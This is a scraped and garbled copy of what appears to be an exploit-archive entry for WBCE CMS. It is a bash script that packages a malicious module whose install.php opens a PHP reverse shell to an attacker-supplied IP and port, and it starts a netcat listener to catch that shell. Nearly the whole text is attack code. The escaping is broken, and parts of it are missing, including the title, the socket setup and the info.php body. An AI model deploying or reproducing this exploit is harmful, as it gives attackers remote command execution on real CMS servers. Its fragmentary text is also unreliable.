<\/p>\n
# Exploit Title: WBCE CMS \"
\n\texit 1
\nfi
\n
\nif [ -z \"$(which nc)\" ]; then
\n\techo \"[!] Netcat is not installed.\"
\n\texit 1
\nfi
\n
\nip=$1
\nport=$2
\n
\nrm -rf shellModule.zip
\nrm -rf shellModule
\nmkdir shellModule
\n
\necho [*] Crafting Payload
\n
\ncat shellModule\/info.php
\n
\nEOF
\n
\ncat shellModule\/install.php
\n array(\"pipe\", \"r\"), \/\/ stdin is a pipe that the child will read from
\n 1 => array(\"pipe\", \"w\"), \/\/ stdout is a pipe that the child will write to
\n 2 => array(\"pipe\", \"w\") \/\/ stderr is a pipe that the child will write to
\n);
\n
\n\\$process = proc_open(\\$shell, \\$descriptorspec, \\$pipes);
\n
\nif (!is_resource(\\$process)) {
\n\tprintit(\"ERROR: Can't spawn shell\");
\n\texit(1);
\n}
\n
\nstream_set_blocking(\\$pipes[0], 0);
\nstream_set_blocking(\\$pipes[1], 0);
\nstream_set_blocking(\\$pipes[2], 0);
\nstream_set_blocking(\\$sock, 0);
\n
\nprintit(\"Successfully opened reverse shell to \\$ip:\\$port\");
\n
\nwhile (1) {
\n\tif (feof(\\$sock)) {
\n\t\tprintit(\"ERROR: Shell connection terminated\");
\n\t\tbreak;
\n\t}
\n
\n\tif (feof(\\$pipes[1])) {
\n\t\tprintit(\"ERROR: Shell process terminated\");
\n\t\tbreak;
\n\t}
\n
\n\t\\$read_a = array(\\$sock, \\$pipes[1], \\$pipes[2]);
\n\t\\$num_changed_sockets = stream_select(\\$read_a, \\$write_a, \\$error_a, null);
\n
\n\tif (in_array(\\$sock, \\$read_a)) {
\n\t\tif (\\$debug) printit(\"SOCK READ\");
\n\t\t\\$input = fread(\\$sock, \\$chunk_size);
\n\t\tif (\\$debug) printit(\"SOCK: \\$input\");
\n\t\tfwrite(\\$pipes[0], \\$input);
\n\t}
\n
\n\tif (in_array(\\$pipes[1], \\$read_a)) {
\n\t\tif (\\$debug) printit(\"STDOUT READ\");
\n\t\t\\$input = fread(\\$pipes[1], \\$chunk_size);
\n\t\tif (\\$debug) printit(\"STDOUT: \\$input\");
\n\t\tfwrite(\\$sock, \\$input);
\n\t}
\n
\n\tif (in_array(\\$pipes[2], \\$read_a)) {
\n\t\tif (\\$debug) printit(\"STDERR READ\");
\n\t\t\\$input = fread(\\$pipes[2], \\$chunk_size);
\n\t\tif (\\$debug) printit(\"STDERR: \\$input\");
\n\t\tfwrite(\\$sock, \\$input);
\n\t}
\n}
\n
\nfclose(\\$sock);
\nfclose(\\$pipes[0]);
\nfclose(\\$pipes[1]);
\nfclose(\\$pipes[2]);
\nproc_close(\\$process);
\n
\nfunction printit (\\$string) {
\n\tif (!\\$daemon) {
\n\t\tprint \"\\$string\\n\";
\n\t}
\n}
\n
\n?>
\nEOF
\n
\necho [*] Zipping to shellModule.zip
\nzip -r shellModule.zip shellModule
\nrm -rf shellModule
\necho [*] Please login to the WBCE admin panel to upload and install the module
\necho [*] Starting listener
\n
\nnc -lvnp $port
\n
\necho
\necho
\necho \"[*] Done!\"
\necho \"[*] Make sure to uninstall the module named 'Reverse Shell' in the module page\"\n <\/lport><\/code><\/pre>\n<\/p><\/div>\n